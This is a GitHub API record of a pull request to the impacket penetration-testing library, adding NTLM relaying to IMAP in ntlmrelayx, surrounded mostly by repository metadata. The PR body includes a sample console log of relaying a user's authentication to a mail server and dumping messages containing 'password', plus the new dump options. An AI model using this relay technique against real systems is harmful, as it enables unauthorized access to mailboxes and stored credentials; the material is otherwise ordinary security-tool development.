{"action":"opened","number":232,"pull_request":{"url":"https://api.github.com/repos/CoreSecurity/impacket/pulls/232","id":95015966,"html_url":"https://github.com/CoreSecurity/impacket/pull/232","diff_url":"https://github.com/CoreSecurity/impacket/pull/232.diff","patch_url":"https://github.com/CoreSecurity/impacket/pull/232.patch","issue_url":"https://api.github.com/repos/CoreSecurity/impacket/issues/232","number":232,"state":"open","locked":false,"title":"ntlmrelayx - relaying to IMAP","user":{"login":"dirkjanm","id":1773762,"avatar_url":"https://avatars.githubusercontent.com/u/1773762?v=3","gravatar_id":"","url":"https://api.github.com/users/dirkjanm","html_url":"https://github.com/dirkjanm","followers_url":"https://api.github.com/users/dirkjanm/followers","following_url":"https://api.github.com/users/dirkjanm/following{/other_user}","gists_url":"https://api.github.com/users/dirkjanm/gists{/gist_id}","starred_url":"https://api.github.com/users/dirkjanm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dirkjanm/subscriptions","organizations_url":"https://api.github.com/users/dirkjanm/orgs","repos_url":"https://api.github.com/users/dirkjanm/repos","events_url":"https://api.github.com/users/dirkjanm/events{/privacy}","received_events_url":"https://api.github.com/users/dirkjanm/received_events","type":"User","site_admin":false},"body":"Added relaying to IMAP - think dumping Exchange mailboxes when NTLM auth is enabled :)\r\n\r\n```\r\ndirkjan@ubuntu:~/impacket-merge$ sudo ntlmrelayx.py -t imaps://192.168.222.103 -l ~/tmp/\r\nImpacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies\r\n\r\n[*] Running in relay mode to single host\r\n[*] Config file parsed\r\n[*] Setting up SMB Server\r\n\r\n[*] Servers started, waiting for connections\r\n[*] Setting up HTTP Server\r\n[*] HTTPD: Received connection from 192.168.222.65, attacking target 192.168.222.103\r\n[*] Authenticating against 192.168.222.103 as TEST\\testuser SUCCEED\r\n...\r\n[*] Found 2 messages in mailbox INBOX\r\n[*] Dumping 1 messages found by search for \"password\"\r\n[*] Done fetching message 1/1\r\n```\r\n\r\nAdded options:\r\n```\r\nIMAP client options:\r\n  -k KEYWORD, --keyword KEYWORD\r\n                        IMAP keyword to search for. If not specified, will\r\n                        search for mails containing \"password\"\r\n  -m MAILBOX, --mailbox MAILBOX\r\n                        Mailbox name to dump. Default: INBOX\r\n  -a, --all             Instead of searching for keywords, dump all emails\r\n  -im IMAP_MAX, --imap-max IMAP_MAX\r\n                        Max number of emails to dump (0 = unlimited, default:\r\n                        no limit)\r\n```","created_at":"2016-11-23T14:43:43Z","updated_at":"2016-11-23T14:43:43Z","closed_at":null,"merged_at":null,"merge_commit_sha":"53b344345f19f94bad67a3c282139ebdb9409896","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/CoreSecurity/impacket/pulls/232/commits","review_comments_url":"https://api.github.com/repos/CoreSecurity/impacket/pulls/232/comments","review_comment_url":"https://api.github.com/repos/CoreSecurity/impacket/pulls/comments{/number}","comments_url":"https://api.github.com/repos/CoreSecurity/impacket/issues/232/comments","statuses_url":"https://api.github.com/repos/CoreSecurity/impacket/statuses/72f3a7c974f8e4868a07908c3b2bdafd1ec6ea84","head":{"label":"fox-it:ntlmrelayx","ref":"ntlmrelayx","sha":"72f3a7c974f8e4868a07908c3b2bdafd1ec6ea84","user":{"login":"fox-it","id":468621,"avatar_url":"https://avatars.githubusercontent.com/u/468621?v=3","gravatar_id":"","url":"https://api.github.com/users/fox-it","html_url":"https://github.com/fox-it","followers_url":"https://api.github.com/users/fox-it/followers","following_url":"https://api.github.com/users/fox-it/following{/other_user}","gists_url":"https://api.github.com/users/fox-it/gists{/gist_id}","starred_url":"https://api.github.com/users/fox-it/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fox-it/subscriptions","organizations_url":"https://api.github.com/users/fox-it/orgs","repos_url":"https://api.github.com/users/fox-it/repos","events_url":"https://api.github.com/users/fox-it/events{/privacy}","received_events_url":"https://api.github.com/users/fox-it/received_events","type":"Organization","site_admin":false},"repo":{"id":59826505,"name":"impacket","full_name":"fox-it/impacket","owner":{"login":"fox-it","id":468621,"avatar_url":"https://avatars.githubusercontent.com/u/468621?v=3","gravatar_id":"","url":"https://api.github.com/users/fox-it","html_url":"https://github.com/fox-it","followers_url":"https://api.github.com/users/fox-it/followers","following_url":"https://api.github.com/users/fox-it/following{/other_user}","gists_url":"https://api.github.com/users/fox-it/gists{/gist_id}","starred_url":"https://api.github.com/users/fox-it/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fox-it/subscriptions","organizations_url":"https://api.github.com/users/fox-it/orgs","repos_url":"https://api.github.com/users/fox-it/repos","events_url":"https://api.github.com/users/fox-it/events{/privacy}","received_events_url":"https://api.github.com/users/fox-it/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/fox-it/impacket","description":"Impacket is a collection of Python classes for working with network protocols.","fork":true,"url":"https://api.github.com/repos/fox-it/impacket","forks_url":"https://api.github.com/repos/fox-it/impacket/forks","keys_url":"https://api.github.com/repos/fox-it/impacket/keys{/key_id}","collaborators_url":"https://api.github.com/repos/fox-it/impacket/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/fox-it/impacket/teams","hooks_url":"https://api.github.com/repos/fox-it/impacket/hooks","issue_events_url":"https://api.github.com/repos/fox-it/impacket/issues/events{/number}","events_url":"https://api.github.com/repos/fox-it/impacket/events","assignees_url":"https://api.github.com/repos/fox-it/impacket/assignees{/user}","branches_url":"https://api.github.com/repos/fox-it/impacket/branches{/branch}","tags_url":"https://api.github.com/repos/fox-it/impacket/tags","blobs_url":"https://api.github.com/repos/fox-it/impacket/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/fox-it/impacket/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/fox-it/impacket/git/refs{/sha}","trees_url":"https://api.github.com/repos/fox-it/impacket/git/trees{/sha}","statuses_url":"https://api.github.com/repos/fox-it/impacket/statuses/{sha}","languages_url":"https://api.github.com/repos/fox-it/impacket/languages","stargazers_url":"https://api.github.com/repos/fox-it/impacket/stargazers","contributors_url":"https://api.github.com/repos/fox-it/impacket/contributors","subscribers_url":"https://api.github.com/repos/fox-it/impacket/subscribers","subscription_url":"https://api.github.com/repos/fox-it/impacket/subscription","commits_url":"https://api.github.com/repos/fox-it/impacket/commits{/sha}","git_commits_url":"https://api.github.com/repos/fox-it/impacket/git/commits{/sha}","comments_url":"https://api.github.com/repos/fox-it/impacket/comments{/number}","issue_comment_url":"https://api.github.com/repos/fox-it/impacket/issues/comments{/number}","contents_url":"https://api.github.com/repos/fox-it/impacket/contents/{+path}","compare_url":"https://api.github.com/repos/fox-it/impacket/compare/{base}...{head}","merges_url":"https://api.github.com/repos/fox-it/impacket/merges","archive_url":"https://api.github.com/repos/fox-it/impacket/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/fox-it/impacket/downloads","issues_url":"https://api.github.com/repos/fox-it/impacket/issues{/number}","pulls_url":"https://api.github.com/repos/fox-it/impacket/pulls{/number}","milestones_url":"https://api.github.com/repos/fox-it/impacket/milestones{/number}","notifications_url":"https://api.github.com/repos/fox-it/impacket/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/fox-it/impacket/labels{/name}","releases_url":"https://api.github.com/repos/fox-it/impacket/releases{/id}","deployments_url":"https://api.github.com/repos/fox-it/impacket/deployments","created_at":"2016-05-27T10:26:37Z","updated_at":"2016-05-27T10:26:39Z","pushed_at":"2016-11-23T14:40:07Z","git_url":"git://github.com/fox-it/impacket.git","ssh_url":"git@github.com:fox-it/impacket.git","clone_url":"https://github.com/fox-it/impacket.git","svn_url":"https://github.com/fox-it/impacket","homepage":"","size":3711,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":false,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"CoreSecurity:master","ref":"master","sha":"563b757fba3af32655941edf5a35343300b173b2","user":{"login":"CoreSecurity","id":6544688,"avatar_url":"https://avatars.githubusercontent.com/u/6544688?v=3","gravatar_id":"","url":"https://api.github.com/users/CoreSecurity","html_url":"https://github.com/CoreSecurity","followers_url":"https://api.github.com/users/CoreSecurity/followers","following_url":"https://api.github.com/users/CoreSecurity/following{/other_user}","gists_url":"https://api.github.com/users/CoreSecurity/gists{/gist_id}","starred_url":"https://api.github.com/users/CoreSecurity/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CoreSecurity/subscriptions","organizations_url":"https://api.github.com/users/CoreSecurity/orgs","repos_url":"https://api.github.com/users/CoreSecurity/repos","events_url":"https://api.github.com/users/CoreSecurity/events{/privacy}","received_events_url":"https://api.github.com/users/CoreSecurity/received_events","type":"Organization","site_admin":false},"repo":{"id":33997353,"name":"impacket","full_name":"CoreSecurity/impacket","owner":{"login":"CoreSecurity","id":6544688,"avatar_url":"https://avatars.githubusercontent.com/u/6544688?v=3","gravatar_id":"","url":"https://api.github.com/users/CoreSecurity","html_url":"https://github.com/CoreSecurity","followers_url":"https://api.github.com/users/CoreSecurity/followers","following_url":"https://api.github.com/users/CoreSecurity/following{/other_user}","gists_url":"https://api.github.com/users/CoreSecurity/gists{/gist_id}","starred_url":"https://api.github.com/users/CoreSecurity/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CoreSecurity/subscriptions","organizations_url":"https://api.github.com/users/CoreSecurity/orgs","repos_url":"https://api.github.com/users/CoreSecurity/repos","events_url":"https://api.github.com/users/CoreSecurity/events{/privacy}","received_events_url":"https://api.github.com/users/CoreSecurity/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/CoreSecurity/impacket","description":"Impacket is a collection of Python classes for working with network protocols.","fork":false,"url":"https://api.github.com/repos/CoreSecurity/impacket","forks_url":"https://api.github.com/repos/CoreSecurity/impacket/forks","keys_url":"https://api.github.com/repos/CoreSecurity/impacket/keys{/key_id}","collaborators_url":"https://api.github.com/repos/CoreSecurity/impacket/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/CoreSecurity/impacket/teams","hooks_url":"https://api.github.com/repos/CoreSecurity/impacket/hooks","issue_events_url":"https://api.github.com/repos/CoreSecurity/impacket/issues/events{/number}","events_url":"https://api.github.com/repos/CoreSecurity/impacket/events","assignees_url":"https://api.github.com/repos/CoreSecurity/impacket/assignees{/user}","branches_url":"https://api.github.com/repos/CoreSecurity/impacket/branches{/branch}","tags_url":"https://api.github.com/repos/CoreSecurity/impacket/tags","blobs_url":"https://api.github.com/repos/CoreSecurity/impacket/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/CoreSecurity/impacket/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/CoreSecurity/impacket/git/refs{/sha}","trees_url":"https://api.github.com/repos/CoreSecurity/impacket/git/trees{/sha}","statuses_url":"https://api.github.com/repos/CoreSecurity/impacket/statuses/{sha}","languages_url":"https://api.github.com/repos/CoreSecurity/impacket/languages","stargazers_url":"https://api.github.com/repos/CoreSecurity/impacket/stargazers","contributors_url":"https://api.github.com/repos/CoreSecurity/impacket/contributors","subscribers_url":"https://api.github.com/repos/CoreSecurity/impacket/subscribers","subscription_url":"https://api.github.com/repos/CoreSecurity/impacket/subscription","commits_url":"https://api.github.com/repos/CoreSecurity/impacket/commits{/sha}","git_commits_url":"https://api.github.com/repos/CoreSecurity/impacket/git/commits{/sha}","comments_url":"https://api.github.com/repos/CoreSecurity/impacket/comments{/number}","issue_comment_url":"https://api.github.com/repos/CoreSecurity/impacket/issues/comments{/number}","contents_url":"https://api.github.com/repos/CoreSecurity/impacket/contents/{+path}","compare_url":"https://api.github.com/repos/CoreSecurity/impacket/compare/{base}...{head}","merges_url":"https://api.github.com/repos/CoreSecurity/impacket/merges","archive_url":"https://api.github.com/repos/CoreSecurity/impacket/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/CoreSecurity/impacket/downloads","issues_url":"https://api.github.com/repos/CoreSecurity/impacket/issues{/number}","pulls_url":"https://api.github.com/repos/CoreSecurity/impacket/pulls{/number}","milestones_url":"https://api.github.com/repos/CoreSecurity/impacket/milestones{/number}","notifications_url":"https://api.github.com/repos/CoreSecurity/impacket/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/CoreSecurity/impacket/labels{/name}","releases_url":"https://api.github.com/repos/CoreSecurity/impacket/releases{/id}","deployments_url":"https://api.github.com/repos/CoreSecurity/impacket/deployments","created_at":"2015-04-15T14:04:07Z","updated_at":"2016-11-22T10:56:46Z","pushed_at":"2016-11-23T14:43:43Z","git_url":"git://github.com/CoreSecurity/impacket.git","ssh_url":"git@github.com:CoreSecurity/impacket.git","clone_url":"https://github.com/CoreSecurity/impacket.git","svn_url":"https://github.com/CoreSecurity/impacket","homepage":"","size":4743,"stargazers_count":807,"watchers_count":807,"language":"Python","has_issues":true,"has_downloads":false,"has_wiki":false,"has_pages":false,"forks_count":248,"mirror_url":null,"open_issues_count":31,"forks":248,"open_issues":31,"watchers":807,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/CoreSecurity/impacket/pulls/232"},"html":{"href":"https://github.com/CoreSecurity/impacket/pull/232"},"issue":{"href":"https://api.github.com/repos/CoreSecurity/impacket/issues/232"},"comments":{"href":"https://api.github.com/repos/CoreSecurity/impacket/issues/232/comments"},"review_comments":{"href":"https://api.github.com/repos/CoreSecurity/impacket/pulls/232/comments"},"review_comment":{"href":"https://api.github.com/repos/CoreSecurity/impacket/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/CoreSecurity/impacket/pulls/232/commits"},"statuses":{"href":"https://api.github.com/repos/CoreSecurity/impacket/statuses/72f3a7c974f8e4868a07908c3b2bdafd1ec6ea84"}},"merged":false,"mergeable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":0,"commits":1,"additions":210,"deletions":19,"changed_files":7}}
{"actor":{"display_login":"dirkjanm"}}